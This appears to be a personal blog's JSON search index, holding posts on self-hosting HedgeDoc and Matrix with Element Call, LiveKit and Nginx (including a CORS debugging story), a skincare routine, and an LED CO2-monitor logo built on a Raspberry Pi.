style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e cd ~/hedgedoc\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003chr\u003e\n\u003ch2 id=\"2-create-env\"\u003e2. Create \u003ccode\u003e.env\u003c/code\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-env\" data-lang=\"env\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePOSTGRES_PASSWORD\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eChangeThisStrongPassword\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHD_DOMAIN\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003enotes.alipourimjourneys.ir\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eGenerate a strong password with:\u003c/p\u003e","title":"Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt"},{"content":" TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.\nWhat I\u0026rsquo;m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\nPrereqs DNS A/AAAA: matrix.example.com → your server (v4/v6) rtc.example.com → your server (v4/v6) Certificates: matrix.example.com and rtc.example.com via Let’s Encrypt on the host Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets \u0026amp; UDP work without interference. UFW / firewall open: 80/tcp, 443/tcp 8448/tcp (Matrix federation) 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS) LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range) Docker + docker compose installed. Synapse + PostgreSQL 1) The PostgreSQL collation gotcha Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:\nD a t a b a s e h a s i n c o r r e c t c o l l a t i o n o f ' e n _ U S . u t f 8 ' . S h o u l d b e ' C ' Two ways to resolve:\nPreferred (clean): Re-initialize the Postgres cluster with C and UTF-8: # docker-compose.yml (excerpt for Postgres) services: db: image: postgres:16 environment: POSTGRES_DB: synapse POSTGRES_USER: synapse POSTGRES_PASSWORD: \u0026lt;strong-password\u0026gt; POSTGRES_INITDB_ARGS: \u0026#34;--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C\u0026#34; volumes: - ./pgdata:/var/lib/postgresql/data Requires wiping the volume and recreating the DB.\nPragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster. 2) Start Synapse and generate config docker compose up -d db synapse # Logs docker compose logs --tail=200 synapse Ensure Synapse prints your server_name and public base URL and stays up.\n3) Create an admin user # Exec into the running Synapse container: docker compose exec synapse register_new_matrix_user \\ -c /data/homeserver.yaml -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; \\ -a -k If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.\nTURN (coTURN) 1) Avoid bad inline comments If you see errors like:\nE R R O R : U n k n o w n b o o l e a n v a l u e : # l o g t o j o u r n a l d / s y s l o g . Y o u c a n u s e o n / o f f , y e s / n o , 1 / 0 , t r u e / f a l s e . …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.\n2) Minimal turnserver.conf listening-port=3478 tls-listening-port=5349 fingerprint use-auth-secret static-auth-secret=\u0026lt;shared-secret\u0026gt; # also set in Synapse realm=example.com # used in creds generation total-quota=0 bps-capacity=0 cli-password=\u0026lt;admin-pass\u0026gt; no-cli cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem # If behind NAT: # external-ip=\u0026lt;public-ip\u0026gt;/\u0026lt;internal-ip\u0026gt; 3) Wire TURN into Synapse In homeserver.yaml:\nturn_uris: - \u0026#34;turn:turn.example.com?transport=udp\u0026#34; - \u0026#34;turn:turn.example.com?transport=tcp\u0026#34; - \u0026#34;turns:turn.example.com:5349?transport=tcp\u0026#34; turn_shared_secret: \u0026#34;\u0026lt;shared-secret\u0026gt;\u0026#34; turn_user_lifetime: \u0026#34;1d\u0026#34; Verify the homeserver issues TURN creds:\nTOKEN=\u0026#39;\u0026lt;your matrix access token\u0026gt;\u0026#39; curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq You should see uris, a time-limited username and password.\nNginx (host) for Synapse and federation Create /etc/nginx/conf.d/matrix.conf:\n# Client traffic on 443 server { listen 443 ssl; listen [::]:443 ssl; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; # Proxy client \u0026amp; admin APIs to Synapse (container) on 8008 location ~ ^(/_matrix|/_synapse/client) { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } # Advertise homeserver base + RTC focus (MSC4143) via .well-known location = /.well-known/matrix/client { default_type application/json; add_header Access-Control-Allow-Origin \u0026#34;*\u0026#34; always; return 200 \u0026#39;{\u0026#34;m.homeserver\u0026#34;:{\u0026#34;base_url\u0026#34;:\u0026#34;https://matrix.example.com\u0026#34;},\u0026#34;org.matrix.msc4143.rtc_foci\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;livekit\u0026#34;,\u0026#34;livekit_service_url\u0026#34;:\u0026#34;https://rtc.example.com\u0026#34;}]}\u0026#39;; } } # Federation on 8448 server { listen 8448 ssl http2; listen [::]:8448 ssl http2; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; location / { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } } Reload and sanity check:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -s https://matrix.example.com/.well-known/matrix/client | jq Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:\ncurl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # expect: true Element Call + LiveKit I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.\n1) LiveKit config (/etc/livekit.yaml inside container) port: 7880 bind_addresses: [\u0026#34;0.0.0.0\u0026#34;] rtc: tcp_port: 7881 port_range_start: 50100 port_range_end: 50200 use_external_ip: true logging: level: info turn: enabled: false keys: lk_prod_1: \u0026#34;REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________\u0026#34; Important: the secret must be \u0026gt;= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.\n2) elementcall_jwt env Run it with:\nLIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path) LIVEKIT_KEY=lk_prod_1 LIVEKIT_SECRET=\u0026lt;the long secret above\u0026gt; LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit) Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup Check logs on start; it prints the LIVEKIT_URL it will advertise.\n3) Nginx (host) for rtc.example.com Create /etc/nginx/conf.d/rtc.conf:\nserver { listen 443 ssl; listen [::]:443 ssl; server_name rtc.example.com; ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; access_log /var/log/nginx/rtc.access.log combined; # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) location = /sfu/get { proxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; add_header Access-Control-Allow-Methods \u0026#34;POST, OPTIONS\u0026#34; always; add_header Access-Control-Allow-Headers \u0026#34;Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\u0026#34; always; if ($request_method = OPTIONS) { return 204; } proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt } # 3b) LiveKit WS \u0026amp; HTTP (catch-all) location / { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # \u0026#34;livekit\u0026#34; proxy_set_header Origin $http_origin; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_buffering off; proxy_read_timeout 3600s; proxy_pass http://127.0.0.1:7880; # livekit } } Reload and basic checks:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx # JWT preflight (should return a single ACAO header) curl -si -X OPTIONS https://rtc.example.com/sfu/get \\ -H \u0026#39;Origin: https://app.element.io\u0026#39; \\ -H \u0026#39;Access-Control-Request-Method: POST\u0026#39; \\ -H \u0026#39;Access-Control-Request-Headers: authorization, content-type\u0026#39; | sed -n \u0026#39;1,30p\u0026#39; # Expected: one Access-Control-Allow-Origin and 200/204 Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.\nThe “waiting for media” debugging story (how I found it) Symptom: Element Call created rooms, but calls stayed on “waiting for media.”\nWhat worked:\nelementcall_jwt could CreateRoom in LiveKit (seen in logs). TURN creds endpoint returned time-limited credentials. What didn’t appear:\nNo HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit. Step 1: prove the WS vhost works (even without auth) curl -v --http1.1 \\ -H \u0026#39;Connection: Upgrade\u0026#39; -H \u0026#39;Upgrade: websocket\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Version: 13\u0026#39; \\ https://rtc.example.com/rtc -o /dev/null Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.\nStep 2: check the browser console The smoking gun in DevTools:\nA F c e c t e c s h s - A C P o I n t c r a o n l n - o A t l l l o o w a - d O r h i t g t i p n s : c / a / n r n t o c t . e c x o a n m t p a l i e n . c m o o m r / e s f t u h / a g n e t o n d e u e o r t i o g i a n c . c e s s c o n t r o l c h e c k s . The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.\nFix: in Nginx I added:\nproxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).\nStep 3: confirm LiveKit side Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.\nUseful verification commands # Synapse features (expect MSC4140 true) curl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # Well-known with RTC focus curl -s https://matrix.example.com/.well-known/matrix/client | jq # TURN creds (with your access token) curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq # JWT health curl -si -X POST https://rtc.example.com/sfu/get # LiveKit simple HTTP probe curl -si https://rtc.example.com | head # Nginx logs (look for 101 Switching Protocols when a call starts) sudo tail -f /var/log/nginx/rtc.access.log | grep \u0026#39; 101 \u0026#39; Common pitfalls (I hit these so you don’t have to) Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers. Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it). Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained). Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly. CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location. Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths. Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6. Final checklist (print me) https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com. /_matrix/client/versions shows \u0026quot;org.matrix.msc4140\u0026quot;: true. /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204. Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log. LiveKit logs show participants joining (not just CreateRoom). /voip/turnServer returns time-limited TURN credentials. Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range. Credits \u0026amp; tooling Matrix Synapse, coTURN, LiveKit, Element Call. curl, jq, docker compose logs, Nginx access logs. These are your best friends. The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs. Happy calling! 🎉\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR: The call kept saying \u003cstrong\u003e“waiting for media”\u003c/strong\u003e because the browser never opened a WebSocket to LiveKit. The root cause was \u003cstrong\u003eduplicate \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e headers\u003c/strong\u003e on \u003ccode\u003e/sfu/get\u003c/code\u003e (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP \u003cstrong\u003e101\u003c/strong\u003e in logs) solved it.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"what-im-building\"\u003eWhat I\u0026rsquo;m building\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA \u003cstrong\u003eMatrix homeserver\u003c/strong\u003e (Synapse) at \u003ccode\u003ematrix.example.com\u003c/code\u003e (replace with your domain).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTURN/STUN\u003c/strong\u003e (coTURN) for NAT traversal.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eElement Call\u003c/strong\u003e backed by \u003cstrong\u003eLiveKit\u003c/strong\u003e, fronted by \u003ccode\u003ertc.example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx (host)\u003c/strong\u003e as the single reverse proxy for everything.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCloudflare\u003c/strong\u003e DNS (with \u003ccode\u003ertc.*\u003c/code\u003e set to \u003cstrong\u003eDNS-only\u003c/strong\u003e, no orange cloud).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUFW\u003c/strong\u003e firewall opened for Matrix federation, TURN, and LiveKit media ports.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used \u003cstrong\u003ehost\u003c/strong\u003e Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\u003c/p\u003e","title":"Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)"},{"content":"This is a test hello world post just to make sure everything works!\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/","summary":"\u003cp\u003eThis is a test hello world post just to make sure everything works!\u003c/p\u003e","title":"Hello World"}] \ No newline at end of file diff --git a/public/index.xml b/public/index.xml new file mode 100644 index 0000000..9091416 --- /dev/null +++ b/public/index.xml @@ -0,0 +1,2645 @@ +AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/Recent content on AlipourIm journeysHugo -- 0.146.0enMon, 20 Oct 2025 18:47:04 +0000Skin routinehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/Mon, 20 Oct 2025 18:47:04 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/My skin routine!I don’t know how to answer the “why?” or “whyyyyy?” or even “whe the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    +

    Generaly speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub a creme on your face, or gently message it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    +

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitly start going to gym and working out. +It is needed for me.

    +

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the Cerave cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    +

    Next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice, and is quite refreshing to apply to skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry, no rinsing is required here.

    +

    After this I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but the Paula’s choice one is definitly good. +The thing with it is that you don’t have to message it, it’s not physical, it’s an acid. +I prefer the scrubby oness, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    +

    I then apply my eye cream which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    +

    The one to the last step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man if you use oil-based, you’ll get acne. +So don’t.

    +

    I learned to use pads for applying some of these stuff, it feels cooler when using, specifically when you gently tap your face with a cotton pad! ^^

    +

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sun screen for better protection.

    +

    Even if it does nothing, it still makes me feel good about myself.

    +

    The whole routine does not take more than 10 min, but gives me an energy boost, and a lot of good vibes both at night and in the morning!

    +]]>
    INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
